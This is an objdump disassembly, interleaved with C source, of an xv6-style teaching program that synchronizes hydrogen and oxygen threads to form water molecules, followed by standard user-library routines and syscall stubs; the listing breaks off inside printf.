text stringlengths 1 1.05M |
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_nature: file format elf32-i386
Disassembly of section .text:
00001000 <main>:
int oxygen = 0;
struct {
lock_t lock;
}mutex;
int main() {
1000: 55 push %ebp
1001: 89 e5 mov %esp,%ebp
1003: 83 e4 f0 and $0xfffffff0,%esp
1006: 83 ec 20 sub $0x20,%esp
lock_acquire(&mutex.lock);
1009: c7 04 24 64 1e 00 00 movl $0x1e64,(%esp)
1010: e8 db 09 00 00 call 19f0 <lock_acquire>
printf(1,"Hydrogen count should be 2, and oxygen count should be 1, therefore 1 water should be created. \n");
1015: c7 44 24 04 18 1d 00 movl $0x1d18,0x4(%esp)
101c: 00
101d: c7 04 24 01 00 00 00 movl $0x1,(%esp)
1024: e8 d8 05 00 00 call 1601 <printf>
lock_release(&mutex.lock);
1029: c7 04 24 64 1e 00 00 movl $0x1e64,(%esp)
1030: e8 da 09 00 00 call 1a0f <lock_release>
sem_init(&h, 0);
1035: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp)
103c: 00
103d: c7 04 24 68 1e 00 00 movl $0x1e68,(%esp)
1044: e8 a4 0c 00 00 call 1ced <sem_init>
sem_init(&o, 0);
1049: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp)
1050: 00
1051: c7 04 24 50 1e 00 00 movl $0x1e50,(%esp)
1058: e8 90 0c 00 00 call 1ced <sem_init>
void *hid3 = thread_create(hReady,(void*)0);
105d: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp)
1064: 00
1065: c7 04 24 96 11 00 00 movl $0x1196,(%esp)
106c: e8 b9 09 00 00 call 1a2a <thread_create>
1071: 89 44 24 14 mov %eax,0x14(%esp)
if(hid3 == 0) exit();
1075: 83 7c 24 14 00 cmpl $0x0,0x14(%esp)
107a: 75 05 jne 1081 <main+0x81>
107c: e8 df 03 00 00 call 1460 <exit>
void *hid4 = thread_create(hReady,(void*)0);
1081: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp)
1088: 00
1089: c7 04 24 96 11 00 00 movl $0x1196,(%esp)
1090: e8 95 09 00 00 call 1a2a <thread_create>
1095: 89 44 24 18 mov %eax,0x18(%esp)
if(hid4 == 0) exit();
1099: 83 7c 24 18 00 cmpl $0x0,0x18(%esp)
109e: 75 05 jne 10a5 <main+0xa5>
10a0: e8 bb 03 00 00 call 1460 <exit>
void *oid = thread_create(oReady,(void *)0);
10a5: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp)
10ac: 00
10ad: c7 04 24 d7 10 00 00 movl $0x10d7,(%esp)
10b4: e8 71 09 00 00 call 1a2a <thread_create>
10b9: 89 44 24 1c mov %eax,0x1c(%esp)
if(oid == 0) exit();
10bd: 83 7c 24 1c 00 cmpl $0x0,0x1c(%esp)
10c2: 75 05 jne 10c9 <main+0xc9>
10c4: e8 97 03 00 00 call 1460 <exit>
while(wait() > 0);
10c9: e8 9a 03 00 00 call 1468 <wait>
10ce: 85 c0 test %eax,%eax
10d0: 7f f7 jg 10c9 <main+0xc9>
exit();
10d2: e8 89 03 00 00 call 1460 <exit>
000010d7 <oReady>:
return 0;
}
void oReady(void *arg) {
10d7: 55 push %ebp
10d8: 89 e5 mov %esp,%ebp
10da: 83 ec 18 sub $0x18,%esp
sem_acquire(&h);
10dd: c7 04 24 68 1e 00 00 movl $0x1e68,(%esp)
10e4: e8 53 0b 00 00 call 1c3c <sem_acquire>
lock_acquire(&mutex.lock);
10e9: c7 04 24 64 1e 00 00 movl $0x1e64,(%esp)
10f0: e8 fb 08 00 00 call 19f0 <lock_acquire>
oxygen++;
10f5: a1 40 1e 00 00 mov 0x1e40,%eax
10fa: 83 c0 01 add $0x1,%eax
10fd: a3 40 1e 00 00 mov %eax,0x1e40
printf(1,"created one oxygen. Oxygen count: %d.\n",oxygen);
1102: a1 40 1e 00 00 mov 0x1e40,%eax
1107: 89 44 24 08 mov %eax,0x8(%esp)
110b: c7 44 24 04 7c 1d 00 movl $0x1d7c,0x4(%esp)
1112: 00
1113: c7 04 24 01 00 00 00 movl $0x1,(%esp)
111a: e8 e2 04 00 00 call 1601 <printf>
lock_release(&mutex.lock);
111f: c7 04 24 64 1e 00 00 movl $0x1e64,(%esp)
1126: e8 e4 08 00 00 call 1a0f <lock_release>
sem_acquire(&h);
112b: c7 04 24 68 1e 00 00 movl $0x1e68,(%esp)
1132: e8 05 0b 00 00 call 1c3c <sem_acquire>
sem_signal(&o);
1137: c7 04 24 50 1e 00 00 movl $0x1e50,(%esp)
113e: e8 57 0b 00 00 call 1c9a <sem_signal>
sem_signal(&o);
1143: c7 04 24 50 1e 00 00 movl $0x1e50,(%esp)
114a: e8 4b 0b 00 00 call 1c9a <sem_signal>
lock_acquire(&mutex.lock);
114f: c7 04 24 64 1e 00 00 movl $0x1e64,(%esp)
1156: e8 95 08 00 00 call 19f0 <lock_acquire>
water_molecule++;
115b: a1 38 1e 00 00 mov 0x1e38,%eax
1160: 83 c0 01 add $0x1,%eax
1163: a3 38 1e 00 00 mov %eax,0x1e38
printf(1,"created water molecule: %d.\n",water_molecule);
1168: a1 38 1e 00 00 mov 0x1e38,%eax
116d: 89 44 24 08 mov %eax,0x8(%esp)
1171: c7 44 24 04 a3 1d 00 movl $0x1da3,0x4(%esp)
1178: 00
1179: c7 04 24 01 00 00 00 movl $0x1,(%esp)
1180: e8 7c 04 00 00 call 1601 <printf>
lock_release(&mutex.lock);
1185: c7 04 24 64 1e 00 00 movl $0x1e64,(%esp)
118c: e8 7e 08 00 00 call 1a0f <lock_release>
texit();
1191: e8 72 03 00 00 call 1508 <texit>
00001196 <hReady>:
}
void hReady(void *arg) {
1196: 55 push %ebp
1197: 89 e5 mov %esp,%ebp
1199: 83 ec 18 sub $0x18,%esp
sem_signal(&h);
119c: c7 04 24 68 1e 00 00 movl $0x1e68,(%esp)
11a3: e8 f2 0a 00 00 call 1c9a <sem_signal>
sem_acquire(&o);
11a8: c7 04 24 50 1e 00 00 movl $0x1e50,(%esp)
11af: e8 88 0a 00 00 call 1c3c <sem_acquire>
lock_acquire(&mutex.lock);
11b4: c7 04 24 64 1e 00 00 movl $0x1e64,(%esp)
11bb: e8 30 08 00 00 call 19f0 <lock_acquire>
hydrogen++;
11c0: a1 3c 1e 00 00 mov 0x1e3c,%eax
11c5: 83 c0 01 add $0x1,%eax
11c8: a3 3c 1e 00 00 mov %eax,0x1e3c
printf(1,"created one hydrogen. Hydrogen count: %d.\n",hydrogen);
11cd: a1 3c 1e 00 00 mov 0x1e3c,%eax
11d2: 89 44 24 08 mov %eax,0x8(%esp)
11d6: c7 44 24 04 c0 1d 00 movl $0x1dc0,0x4(%esp)
11dd: 00
11de: c7 04 24 01 00 00 00 movl $0x1,(%esp)
11e5: e8 17 04 00 00 call 1601 <printf>
lock_release(&mutex.lock);
11ea: c7 04 24 64 1e 00 00 movl $0x1e64,(%esp)
11f1: e8 19 08 00 00 call 1a0f <lock_release>
texit();
11f6: e8 0d 03 00 00 call 1508 <texit>
11fb: 90 nop
000011fc <stosb>:
"cc");
}
static inline void
stosb(void *addr, int data, int cnt)
{
11fc: 55 push %ebp
11fd: 89 e5 mov %esp,%ebp
11ff: 57 push %edi
1200: 53 push %ebx
asm volatile("cld; rep stosb" :
1201: 8b 4d 08 mov 0x8(%ebp),%ecx
1204: 8b 55 10 mov 0x10(%ebp),%edx
1207: 8b 45 0c mov 0xc(%ebp),%eax
120a: 89 cb mov %ecx,%ebx
120c: 89 df mov %ebx,%edi
120e: 89 d1 mov %edx,%ecx
1210: fc cld
1211: f3 aa rep stos %al,%es:(%edi)
1213: 89 ca mov %ecx,%edx
1215: 89 fb mov %edi,%ebx
1217: 89 5d 08 mov %ebx,0x8(%ebp)
121a: 89 55 10 mov %edx,0x10(%ebp)
"=D" (addr), "=c" (cnt) :
"0" (addr), "1" (cnt), "a" (data) :
"memory", "cc");
}
121d: 5b pop %ebx
121e: 5f pop %edi
121f: 5d pop %ebp
1220: c3 ret
00001221 <strcpy>:
#include "user.h"
#include "x86.h"
char*
strcpy(char *s, char *t)
{
1221: 55 push %ebp
1222: 89 e5 mov %esp,%ebp
1224: 83 ec 10 sub $0x10,%esp
char *os;
os = s;
1227: 8b 45 08 mov 0x8(%ebp),%eax
122a: 89 45 fc mov %eax,-0x4(%ebp)
while((*s++ = *t++) != 0)
122d: 8b 45 0c mov 0xc(%ebp),%eax
1230: 0f b6 10 movzbl (%eax),%edx
1233: 8b 45 08 mov 0x8(%ebp),%eax
1236: 88 10 mov %dl,(%eax)
1238: 8b 45 08 mov 0x8(%ebp),%eax
123b: 0f b6 00 movzbl (%eax),%eax
123e: 84 c0 test %al,%al
1240: 0f 95 c0 setne %al
1243: 83 45 08 01 addl $0x1,0x8(%ebp)
1247: 83 45 0c 01 addl $0x1,0xc(%ebp)
124b: 84 c0 test %al,%al
124d: 75 de jne 122d <strcpy+0xc>
;
return os;
124f: 8b 45 fc mov -0x4(%ebp),%eax
}
1252: c9 leave
1253: c3 ret
00001254 <strcmp>:
int
strcmp(const char *p, const char *q)
{
1254: 55 push %ebp
1255: 89 e5 mov %esp,%ebp
while(*p && *p == *q)
1257: eb 08 jmp 1261 <strcmp+0xd>
p++, q++;
1259: 83 45 08 01 addl $0x1,0x8(%ebp)
125d: 83 45 0c 01 addl $0x1,0xc(%ebp)
}
int
strcmp(const char *p, const char *q)
{
while(*p && *p == *q)
1261: 8b 45 08 mov 0x8(%ebp),%eax
1264: 0f b6 00 movzbl (%eax),%eax
1267: 84 c0 test %al,%al
1269: 74 10 je 127b <strcmp+0x27>
126b: 8b 45 08 mov 0x8(%ebp),%eax
126e: 0f b6 10 movzbl (%eax),%edx
1271: 8b 45 0c mov 0xc(%ebp),%eax
1274: 0f b6 00 movzbl (%eax),%eax
1277: 38 c2 cmp %al,%dl
1279: 74 de je 1259 <strcmp+0x5>
p++, q++;
return (uchar)*p - (uchar)*q;
127b: 8b 45 08 mov 0x8(%ebp),%eax
127e: 0f b6 00 movzbl (%eax),%eax
1281: 0f b6 d0 movzbl %al,%edx
1284: 8b 45 0c mov 0xc(%ebp),%eax
1287: 0f b6 00 movzbl (%eax),%eax
128a: 0f b6 c0 movzbl %al,%eax
128d: 89 d1 mov %edx,%ecx
128f: 29 c1 sub %eax,%ecx
1291: 89 c8 mov %ecx,%eax
}
1293: 5d pop %ebp
1294: c3 ret
00001295 <strlen>:
uint
strlen(char *s)
{
1295: 55 push %ebp
1296: 89 e5 mov %esp,%ebp
1298: 83 ec 10 sub $0x10,%esp
int n;
for(n = 0; s[n]; n++)
129b: c7 45 fc 00 00 00 00 movl $0x0,-0x4(%ebp)
12a2: eb 04 jmp 12a8 <strlen+0x13>
12a4: 83 45 fc 01 addl $0x1,-0x4(%ebp)
12a8: 8b 45 fc mov -0x4(%ebp),%eax
12ab: 03 45 08 add 0x8(%ebp),%eax
12ae: 0f b6 00 movzbl (%eax),%eax
12b1: 84 c0 test %al,%al
12b3: 75 ef jne 12a4 <strlen+0xf>
;
return n;
12b5: 8b 45 fc mov -0x4(%ebp),%eax
}
12b8: c9 leave
12b9: c3 ret
000012ba <memset>:
void*
memset(void *dst, int c, uint n)
{
12ba: 55 push %ebp
12bb: 89 e5 mov %esp,%ebp
12bd: 83 ec 0c sub $0xc,%esp
stosb(dst, c, n);
12c0: 8b 45 10 mov 0x10(%ebp),%eax
12c3: 89 44 24 08 mov %eax,0x8(%esp)
12c7: 8b 45 0c mov 0xc(%ebp),%eax
12ca: 89 44 24 04 mov %eax,0x4(%esp)
12ce: 8b 45 08 mov 0x8(%ebp),%eax
12d1: 89 04 24 mov %eax,(%esp)
12d4: e8 23 ff ff ff call 11fc <stosb>
return dst;
12d9: 8b 45 08 mov 0x8(%ebp),%eax
}
12dc: c9 leave
12dd: c3 ret
000012de <strchr>:
char*
strchr(const char *s, char c)
{
12de: 55 push %ebp
12df: 89 e5 mov %esp,%ebp
12e1: 83 ec 04 sub $0x4,%esp
12e4: 8b 45 0c mov 0xc(%ebp),%eax
12e7: 88 45 fc mov %al,-0x4(%ebp)
for(; *s; s++)
12ea: eb 14 jmp 1300 <strchr+0x22>
if(*s == c)
12ec: 8b 45 08 mov 0x8(%ebp),%eax
12ef: 0f b6 00 movzbl (%eax),%eax
12f2: 3a 45 fc cmp -0x4(%ebp),%al
12f5: 75 05 jne 12fc <strchr+0x1e>
return (char*)s;
12f7: 8b 45 08 mov 0x8(%ebp),%eax
12fa: eb 13 jmp 130f <strchr+0x31>
}
char*
strchr(const char *s, char c)
{
for(; *s; s++)
12fc: 83 45 08 01 addl $0x1,0x8(%ebp)
1300: 8b 45 08 mov 0x8(%ebp),%eax
1303: 0f b6 00 movzbl (%eax),%eax
1306: 84 c0 test %al,%al
1308: 75 e2 jne 12ec <strchr+0xe>
if(*s == c)
return (char*)s;
return 0;
130a: b8 00 00 00 00 mov $0x0,%eax
}
130f: c9 leave
1310: c3 ret
00001311 <gets>:
char*
gets(char *buf, int max)
{
1311: 55 push %ebp
1312: 89 e5 mov %esp,%ebp
1314: 83 ec 28 sub $0x28,%esp
int i, cc;
char c;
for(i=0; i+1 < max; ){
1317: c7 45 f0 00 00 00 00 movl $0x0,-0x10(%ebp)
131e: eb 44 jmp 1364 <gets+0x53>
cc = read(0, &c, 1);
1320: c7 44 24 08 01 00 00 movl $0x1,0x8(%esp)
1327: 00
1328: 8d 45 ef lea -0x11(%ebp),%eax
132b: 89 44 24 04 mov %eax,0x4(%esp)
132f: c7 04 24 00 00 00 00 movl $0x0,(%esp)
1336: e8 3d 01 00 00 call 1478 <read>
133b: 89 45 f4 mov %eax,-0xc(%ebp)
if(cc < 1)
133e: 83 7d f4 00 cmpl $0x0,-0xc(%ebp)
1342: 7e 2d jle 1371 <gets+0x60>
break;
buf[i++] = c;
1344: 8b 45 f0 mov -0x10(%ebp),%eax
1347: 03 45 08 add 0x8(%ebp),%eax
134a: 0f b6 55 ef movzbl -0x11(%ebp),%edx
134e: 88 10 mov %dl,(%eax)
1350: 83 45 f0 01 addl $0x1,-0x10(%ebp)
if(c == '\n' || c == '\r')
1354: 0f b6 45 ef movzbl -0x11(%ebp),%eax
1358: 3c 0a cmp $0xa,%al
135a: 74 16 je 1372 <gets+0x61>
135c: 0f b6 45 ef movzbl -0x11(%ebp),%eax
1360: 3c 0d cmp $0xd,%al
1362: 74 0e je 1372 <gets+0x61>
gets(char *buf, int max)
{
int i, cc;
char c;
for(i=0; i+1 < max; ){
1364: 8b 45 f0 mov -0x10(%ebp),%eax
1367: 83 c0 01 add $0x1,%eax
136a: 3b 45 0c cmp 0xc(%ebp),%eax
136d: 7c b1 jl 1320 <gets+0xf>
136f: eb 01 jmp 1372 <gets+0x61>
cc = read(0, &c, 1);
if(cc < 1)
break;
1371: 90 nop
buf[i++] = c;
if(c == '\n' || c == '\r')
break;
}
buf[i] = '\0';
1372: 8b 45 f0 mov -0x10(%ebp),%eax
1375: 03 45 08 add 0x8(%ebp),%eax
1378: c6 00 00 movb $0x0,(%eax)
return buf;
137b: 8b 45 08 mov 0x8(%ebp),%eax
}
137e: c9 leave
137f: c3 ret
00001380 <stat>:
int
stat(char *n, struct stat *st)
{
1380: 55 push %ebp
1381: 89 e5 mov %esp,%ebp
1383: 83 ec 28 sub $0x28,%esp
int fd;
int r;
fd = open(n, O_RDONLY);
1386: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp)
138d: 00
138e: 8b 45 08 mov 0x8(%ebp),%eax
1391: 89 04 24 mov %eax,(%esp)
1394: e8 07 01 00 00 call 14a0 <open>
1399: 89 45 f0 mov %eax,-0x10(%ebp)
if(fd < 0)
139c: 83 7d f0 00 cmpl $0x0,-0x10(%ebp)
13a0: 79 07 jns 13a9 <stat+0x29>
return -1;
13a2: b8 ff ff ff ff mov $0xffffffff,%eax
13a7: eb 23 jmp 13cc <stat+0x4c>
r = fstat(fd, st);
13a9: 8b 45 0c mov 0xc(%ebp),%eax
13ac: 89 44 24 04 mov %eax,0x4(%esp)
13b0: 8b 45 f0 mov -0x10(%ebp),%eax
13b3: 89 04 24 mov %eax,(%esp)
13b6: e8 fd 00 00 00 call 14b8 <fstat>
13bb: 89 45 f4 mov %eax,-0xc(%ebp)
close(fd);
13be: 8b 45 f0 mov -0x10(%ebp),%eax
13c1: 89 04 24 mov %eax,(%esp)
13c4: e8 bf 00 00 00 call 1488 <close>
return r;
13c9: 8b 45 f4 mov -0xc(%ebp),%eax
}
13cc: c9 leave
13cd: c3 ret
000013ce <atoi>:
int
atoi(const char *s)
{
13ce: 55 push %ebp
13cf: 89 e5 mov %esp,%ebp
13d1: 83 ec 10 sub $0x10,%esp
int n;
n = 0;
13d4: c7 45 fc 00 00 00 00 movl $0x0,-0x4(%ebp)
while('0' <= *s && *s <= '9')
13db: eb 24 jmp 1401 <atoi+0x33>
n = n*10 + *s++ - '0';
13dd: 8b 55 fc mov -0x4(%ebp),%edx
13e0: 89 d0 mov %edx,%eax
13e2: c1 e0 02 shl $0x2,%eax
13e5: 01 d0 add %edx,%eax
13e7: 01 c0 add %eax,%eax
13e9: 89 c2 mov %eax,%edx
13eb: 8b 45 08 mov 0x8(%ebp),%eax
13ee: 0f b6 00 movzbl (%eax),%eax
13f1: 0f be c0 movsbl %al,%eax
13f4: 8d 04 02 lea (%edx,%eax,1),%eax
13f7: 83 e8 30 sub $0x30,%eax
13fa: 89 45 fc mov %eax,-0x4(%ebp)
13fd: 83 45 08 01 addl $0x1,0x8(%ebp)
atoi(const char *s)
{
int n;
n = 0;
while('0' <= *s && *s <= '9')
1401: 8b 45 08 mov 0x8(%ebp),%eax
1404: 0f b6 00 movzbl (%eax),%eax
1407: 3c 2f cmp $0x2f,%al
1409: 7e 0a jle 1415 <atoi+0x47>
140b: 8b 45 08 mov 0x8(%ebp),%eax
140e: 0f b6 00 movzbl (%eax),%eax
1411: 3c 39 cmp $0x39,%al
1413: 7e c8 jle 13dd <atoi+0xf>
n = n*10 + *s++ - '0';
return n;
1415: 8b 45 fc mov -0x4(%ebp),%eax
}
1418: c9 leave
1419: c3 ret
0000141a <memmove>:
void*
memmove(void *vdst, void *vsrc, int n)
{
141a: 55 push %ebp
141b: 89 e5 mov %esp,%ebp
141d: 83 ec 10 sub $0x10,%esp
char *dst, *src;
dst = vdst;
1420: 8b 45 08 mov 0x8(%ebp),%eax
1423: 89 45 f8 mov %eax,-0x8(%ebp)
src = vsrc;
1426: 8b 45 0c mov 0xc(%ebp),%eax
1429: 89 45 fc mov %eax,-0x4(%ebp)
while(n-- > 0)
142c: eb 13 jmp 1441 <memmove+0x27>
*dst++ = *src++;
142e: 8b 45 fc mov -0x4(%ebp),%eax
1431: 0f b6 10 movzbl (%eax),%edx
1434: 8b 45 f8 mov -0x8(%ebp),%eax
1437: 88 10 mov %dl,(%eax)
1439: 83 45 f8 01 addl $0x1,-0x8(%ebp)
143d: 83 45 fc 01 addl $0x1,-0x4(%ebp)
{
char *dst, *src;
dst = vdst;
src = vsrc;
while(n-- > 0)
1441: 83 7d 10 00 cmpl $0x0,0x10(%ebp)
1445: 0f 9f c0 setg %al
1448: 83 6d 10 01 subl $0x1,0x10(%ebp)
144c: 84 c0 test %al,%al
144e: 75 de jne 142e <memmove+0x14>
*dst++ = *src++;
return vdst;
1450: 8b 45 08 mov 0x8(%ebp),%eax
}
1453: c9 leave
1454: c3 ret
1455: 90 nop
1456: 90 nop
1457: 90 nop
00001458 <fork>:
name: \
movl $SYS_ ## name, %eax; \
int $T_SYSCALL; \
ret
SYSCALL(fork)
1458: b8 01 00 00 00 mov $0x1,%eax
145d: cd 40 int $0x40
145f: c3 ret
00001460 <exit>:
SYSCALL(exit)
1460: b8 02 00 00 00 mov $0x2,%eax
1465: cd 40 int $0x40
1467: c3 ret
00001468 <wait>:
SYSCALL(wait)
1468: b8 03 00 00 00 mov $0x3,%eax
146d: cd 40 int $0x40
146f: c3 ret
00001470 <pipe>:
SYSCALL(pipe)
1470: b8 04 00 00 00 mov $0x4,%eax
1475: cd 40 int $0x40
1477: c3 ret
00001478 <read>:
SYSCALL(read)
1478: b8 05 00 00 00 mov $0x5,%eax
147d: cd 40 int $0x40
147f: c3 ret
00001480 <write>:
SYSCALL(write)
1480: b8 10 00 00 00 mov $0x10,%eax
1485: cd 40 int $0x40
1487: c3 ret
00001488 <close>:
SYSCALL(close)
1488: b8 15 00 00 00 mov $0x15,%eax
148d: cd 40 int $0x40
148f: c3 ret
00001490 <kill>:
SYSCALL(kill)
1490: b8 06 00 00 00 mov $0x6,%eax
1495: cd 40 int $0x40
1497: c3 ret
00001498 <exec>:
SYSCALL(exec)
1498: b8 07 00 00 00 mov $0x7,%eax
149d: cd 40 int $0x40
149f: c3 ret
000014a0 <open>:
SYSCALL(open)
14a0: b8 0f 00 00 00 mov $0xf,%eax
14a5: cd 40 int $0x40
14a7: c3 ret
000014a8 <mknod>:
SYSCALL(mknod)
14a8: b8 11 00 00 00 mov $0x11,%eax
14ad: cd 40 int $0x40
14af: c3 ret
000014b0 <unlink>:
SYSCALL(unlink)
14b0: b8 12 00 00 00 mov $0x12,%eax
14b5: cd 40 int $0x40
14b7: c3 ret
000014b8 <fstat>:
SYSCALL(fstat)
14b8: b8 08 00 00 00 mov $0x8,%eax
14bd: cd 40 int $0x40
14bf: c3 ret
000014c0 <link>:
SYSCALL(link)
14c0: b8 13 00 00 00 mov $0x13,%eax
14c5: cd 40 int $0x40
14c7: c3 ret
000014c8 <mkdir>:
SYSCALL(mkdir)
14c8: b8 14 00 00 00 mov $0x14,%eax
14cd: cd 40 int $0x40
14cf: c3 ret
000014d0 <chdir>:
SYSCALL(chdir)
14d0: b8 09 00 00 00 mov $0x9,%eax
14d5: cd 40 int $0x40
14d7: c3 ret
000014d8 <dup>:
SYSCALL(dup)
14d8: b8 0a 00 00 00 mov $0xa,%eax
14dd: cd 40 int $0x40
14df: c3 ret
000014e0 <getpid>:
SYSCALL(getpid)
14e0: b8 0b 00 00 00 mov $0xb,%eax
14e5: cd 40 int $0x40
14e7: c3 ret
000014e8 <sbrk>:
SYSCALL(sbrk)
14e8: b8 0c 00 00 00 mov $0xc,%eax
14ed: cd 40 int $0x40
14ef: c3 ret
000014f0 <sleep>:
SYSCALL(sleep)
14f0: b8 0d 00 00 00 mov $0xd,%eax
14f5: cd 40 int $0x40
14f7: c3 ret
000014f8 <uptime>:
SYSCALL(uptime)
14f8: b8 0e 00 00 00 mov $0xe,%eax
14fd: cd 40 int $0x40
14ff: c3 ret
00001500 <clone>:
SYSCALL(clone)
1500: b8 16 00 00 00 mov $0x16,%eax
1505: cd 40 int $0x40
1507: c3 ret
00001508 <texit>:
SYSCALL(texit)
1508: b8 17 00 00 00 mov $0x17,%eax
150d: cd 40 int $0x40
150f: c3 ret
00001510 <tsleep>:
SYSCALL(tsleep)
1510: b8 18 00 00 00 mov $0x18,%eax
1515: cd 40 int $0x40
1517: c3 ret
00001518 <twakeup>:
SYSCALL(twakeup)
1518: b8 19 00 00 00 mov $0x19,%eax
151d: cd 40 int $0x40
151f: c3 ret
00001520 <thread_yield>:
SYSCALL(thread_yield)
1520: b8 1a 00 00 00 mov $0x1a,%eax
1525: cd 40 int $0x40
1527: c3 ret
00001528 <putc>:
#include "stat.h"
#include "user.h"
static void
putc(int fd, char c)
{
1528: 55 push %ebp
1529: 89 e5 mov %esp,%ebp
152b: 83 ec 28 sub $0x28,%esp
152e: 8b 45 0c mov 0xc(%ebp),%eax
1531: 88 45 f4 mov %al,-0xc(%ebp)
write(fd, &c, 1);
1534: c7 44 24 08 01 00 00 movl $0x1,0x8(%esp)
153b: 00
153c: 8d 45 f4 lea -0xc(%ebp),%eax
153f: 89 44 24 04 mov %eax,0x4(%esp)
1543: 8b 45 08 mov 0x8(%ebp),%eax
1546: 89 04 24 mov %eax,(%esp)
1549: e8 32 ff ff ff call 1480 <write>
}
154e: c9 leave
154f: c3 ret
00001550 <printint>:
static void
printint(int fd, int xx, int base, int sgn)
{
1550: 55 push %ebp
1551: 89 e5 mov %esp,%ebp
1553: 53 push %ebx
1554: 83 ec 44 sub $0x44,%esp
static char digits[] = "0123456789ABCDEF";
char buf[16];
int i, neg;
uint x;
neg = 0;
1557: c7 45 f0 00 00 00 00 movl $0x0,-0x10(%ebp)
if(sgn && xx < 0){
155e: 83 7d 14 00 cmpl $0x0,0x14(%ebp)
1562: 74 17 je 157b <printint+0x2b>
1564: 83 7d 0c 00 cmpl $0x0,0xc(%ebp)
1568: 79 11 jns 157b <printint+0x2b>
neg = 1;
156a: c7 45 f0 01 00 00 00 movl $0x1,-0x10(%ebp)
x = -xx;
1571: 8b 45 0c mov 0xc(%ebp),%eax
1574: f7 d8 neg %eax
1576: 89 45 f4 mov %eax,-0xc(%ebp)
char buf[16];
int i, neg;
uint x;
neg = 0;
if(sgn && xx < 0){
1579: eb 06 jmp 1581 <printint+0x31>
neg = 1;
x = -xx;
} else {
x = xx;
157b: 8b 45 0c mov 0xc(%ebp),%eax
157e: 89 45 f4 mov %eax,-0xc(%ebp)
}
i = 0;
1581: c7 45 ec 00 00 00 00 movl $0x0,-0x14(%ebp)
do{
buf[i++] = digits[x % base];
1588: 8b 4d ec mov -0x14(%ebp),%ecx
158b: 8b 5d 10 mov 0x10(%ebp),%ebx
158e: 8b 45 f4 mov -0xc(%ebp),%eax
1591: ba 00 00 00 00 mov $0x0,%edx
1596: f7 f3 div %ebx
1598: 89 d0 mov %edx,%eax
159a: 0f b6 80 20 1e 00 00 movzbl 0x1e20(%eax),%eax
15a1: 88 44 0d dc mov %al,-0x24(%ebp,%ecx,1)
15a5: 83 45 ec 01 addl $0x1,-0x14(%ebp)
}while((x /= base) != 0);
15a9: 8b 45 10 mov 0x10(%ebp),%eax
15ac: 89 45 d4 mov %eax,-0x2c(%ebp)
15af: 8b 45 f4 mov -0xc(%ebp),%eax
15b2: ba 00 00 00 00 mov $0x0,%edx
15b7: f7 75 d4 divl -0x2c(%ebp)
15ba: 89 45 f4 mov %eax,-0xc(%ebp)
15bd: 83 7d f4 00 cmpl $0x0,-0xc(%ebp)
15c1: 75 c5 jne 1588 <printint+0x38>
if(neg)
15c3: 83 7d f0 00 cmpl $0x0,-0x10(%ebp)
15c7: 74 28 je 15f1 <printint+0xa1>
buf[i++] = '-';
15c9: 8b 45 ec mov -0x14(%ebp),%eax
15cc: c6 44 05 dc 2d movb $0x2d,-0x24(%ebp,%eax,1)
15d1: 83 45 ec 01 addl $0x1,-0x14(%ebp)
while(--i >= 0)
15d5: eb 1a jmp 15f1 <printint+0xa1>
putc(fd, buf[i]);
15d7: 8b 45 ec mov -0x14(%ebp),%eax
15da: 0f b6 44 05 dc movzbl -0x24(%ebp,%eax,1),%eax
15df: 0f be c0 movsbl %al,%eax
15e2: 89 44 24 04 mov %eax,0x4(%esp)
15e6: 8b 45 08 mov 0x8(%ebp),%eax
15e9: 89 04 24 mov %eax,(%esp)
15ec: e8 37 ff ff ff call 1528 <putc>
buf[i++] = digits[x % base];
}while((x /= base) != 0);
if(neg)
buf[i++] = '-';
while(--i >= 0)
15f1: 83 6d ec 01 subl $0x1,-0x14(%ebp)
15f5: 83 7d ec 00 cmpl $0x0,-0x14(%ebp)
15f9: 79 dc jns 15d7 <printint+0x87>
putc(fd, buf[i]);
}
15fb: 83 c4 44 add $0x44,%esp
15fe: 5b pop %ebx
15ff: 5d pop %ebp
1600: c3 ret
00001601 <printf>:
// Print to the given fd. Only understands %d, %x, %p, %s.
void
printf(int fd, char *fmt, ...)
{
1601: 55 push %ebp
1602: 89 e5 mov %esp,%ebp
1604: 83 ec 38 sub $0x38,%esp
char *s;
int c, i, state;
uint *ap;
state = 0;
1607: c7 45 f0 00 00 00 00 movl $0x0,-0x10(%ebp)
ap = (uint*)(void*)&fmt + 1;
160e: 8d 45 0c lea 0xc(%ebp),%eax
1611: 83 c0 04 add $0x4,%eax
1614: 89 45 f4 mov %eax,-0xc(%ebp)
for(i = 0; fmt[i]; i++){
1617: c7 45 ec 00 00 00 00 movl $0x0,-0x14(%ebp)
161e: e9 7e 01 00 00 jmp 17a1 <printf+0x1a0>
c = fmt[i] & 0xff;
1623: 8b 55 0c mov 0xc(%ebp),%edx
1626: 8b 45 ec mov -0x14(%ebp),%eax
1629: 8d 04 02 lea (%edx,%eax,1),%eax
162c: 0f b6 00 movzbl (%eax),%eax
162f: 0f be c0 movsbl %al,%eax
1632: 25 ff 00 00 00 and $0xff,%eax
1637: 89 45 e8 mov %eax,-0x18(%ebp)
if(state == 0){
163a: 83 7d f0 00 cmpl $0x0,-0x10(%ebp)
163e: 75 2c jne 166c <printf+0x6b>
if(c == '%'){
1640: 83 7d e8 25 cmpl $0x25,-0x18(%ebp)
1644: 75 0c jne 1652 <printf+0x51>
state = '%';
1646: c7 45 f0 25 00 00 00 movl $0x25,-0x10(%ebp)
164d: e9 4b 01 00 00 jmp 179d <printf+0x19c>
} else {
putc(fd, c);
1652: 8b 45 e8 mov -0x18(%ebp),%eax
1655: 0f be c0 movsbl %al,%eax
1658: 89 44 24 04 mov %eax,0x4(%esp)
165c: 8b 45 08 mov 0x8(%ebp),%eax
165f: 89 04 24 mov %eax,(%esp)
1662: e8 c1 fe ff ff call 1528 <putc>
1667: e9 31 01 00 00 jmp 179d <printf+0x19c>
}
} else if(state == '%'){
166c: 83 7d f0 25 cmpl $0x25,-0x10(%ebp)
1670: 0f 85 27 01 00 00 jne 179d <printf+0x19c>
if(c == 'd'){
1676: 83 7d e8 64 cmpl $0x64,-0x18(%ebp)
167a: 75 2d jne 16a9 <printf+0xa8>
printint(fd, *ap, 10, 1);
167c: 8b 45 f4 mov -0xc(%ebp),%eax
167f: 8b 00 mov (%eax),%eax
1681: c7 44 24 0c 01 00 00 movl $0x1,0xc(%esp)
1688: 00
